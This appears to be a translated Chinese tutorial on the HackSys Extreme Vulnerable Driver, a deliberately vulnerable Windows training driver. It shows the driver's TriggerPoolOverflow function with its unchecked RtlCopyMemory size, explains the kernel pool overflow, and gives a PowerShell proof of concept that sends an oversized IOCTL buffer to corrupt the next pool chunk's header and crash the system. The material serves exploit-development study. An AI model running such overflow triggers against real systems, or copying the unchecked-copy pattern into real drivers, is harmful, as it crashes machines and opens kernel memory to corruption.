返回介绍

侦查挑战

发布于 2025-01-03 23:32:57 字数 5215 浏览 0 评论 0 收藏 0

先看看本次有漏洞的函数( here )。

NTSTATUS TriggerPoolOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
  PVOID KernelBuffer = NULL;
  NTSTATUS Status = STATUS_SUCCESS;
 
  PAGED_CODE();
 
  __try {
    DbgPrint("[+] Allocating Pool chunk\n");
 
    // Allocate Pool chunk
    KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
                       (SIZE_T)POOL_BUFFER_SIZE,
                       (ULONG)POOL_TAG);
 
    if (!KernelBuffer) {
      // Unable to allocate Pool chunk
      DbgPrint("[-] Unable to allocate Pool chunk\n");
 
      Status = STATUS_NO_MEMORY;
      return Status;
    }
    else {
      DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
      DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
      DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
      DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
    }
 
    // Verify if the buffer resides in user mode
    ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
 
    DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
    DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
    DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
    DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
 
#ifdef SECURE
    // Secure Note: This is secure because the developer is passing a size
    // equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
    // Hence, there will be no overflow
    RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)BUFFER_SIZE);
#else
    DbgPrint("[+] Triggering Pool Overflow\n");
 
    // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
    // because the developer is passing the user supplied value directly to
    // RtlCopyMemory()/memcpy() without validating if the size is greater or
    // equal to the size of the allocated Pool chunk
    RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif
 
    if (KernelBuffer) {
      DbgPrint("[+] Freeing Pool chunk\n");
      DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
      DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
 
      // Free the allocated Pool chunk
      ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
      KernelBuffer = NULL;
    }
  }
  __except (EXCEPTION_EXECUTE_HANDLER) {
    Status = GetExceptionCode();
    DbgPrint("[-] Exception Code: 0x%X\n", Status);
  }
 
  return Status;
}

显而易见的 bug!驱动分配了一个大小为 X 的池块并拷贝了用户提供的数据到其中,然而,他并没有检查用户提供的数据尺寸是否超过了内存分配的池块大小。这导致了一些额外的数据会溢出到非分页内存池中毗邻的池块。我建议你在 IDA 中进一步探索该函数,该函数的分配的池块大小以及池标签都可以在函数起始不远的位置看到。

我们可以用下面的 Powershell POC 来调用该函数。注意到我们使用的是最大的可行尺寸,任何超出的数据都将溢出到下一个块。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
  [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  public static extern IntPtr CreateFile(
    String lpFileName,
    UInt32 dwDesiredAccess,
    UInt32 dwShareMode,
    IntPtr lpSecurityAttributes,
    UInt32 dwCreationDisposition,
    UInt32 dwFlagsAndAttributes,
    IntPtr hTemplateFile);
   
  [DllImport("Kernel32.dll", SetLastError = true)]
  public static extern bool DeviceIoControl(
    IntPtr hDevice,
    int IoControlCode,
    byte[] InBuffer,
    int nInBufferSize,
    byte[] OutBuffer,
    int nOutBufferSize,
    ref int pBytesReturned,
    IntPtr Overlapped);
 
  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern void DebugBreak();
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
  echo "`n[!] Unable to get driver handle..`n"
  Return
} else {
  echo "`n[>] Driver information.."
  echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
  echo "[+] Handle: $hDevice"
}
 
# HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F
#---
$Buffer = [Byte[]](0x41)*0x1F8
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200F"
[EVD]::DeviceIoControl($hDevice, 0x22200F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()

如我们所见,分配的块大小为 0x200,我们的缓冲区刚好停在了下一个毗邻块的头部位置。让我们再次尝试增大用户缓冲区 8 个字节来覆盖下一个块的头部。

$Buffer = [Byte[]](0x41)*0x1F8 + [Byte[]](0x42)*0x4 + [Byte[]](0x43)*0x4

取决于内存池的状态和我们随机覆盖掉了某个块(本例中是二次释放(double free)),我们触发时会遇到各种各样的 bug。任意一个都足以触发蓝屏,我们的 exp 相当粗糙!

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文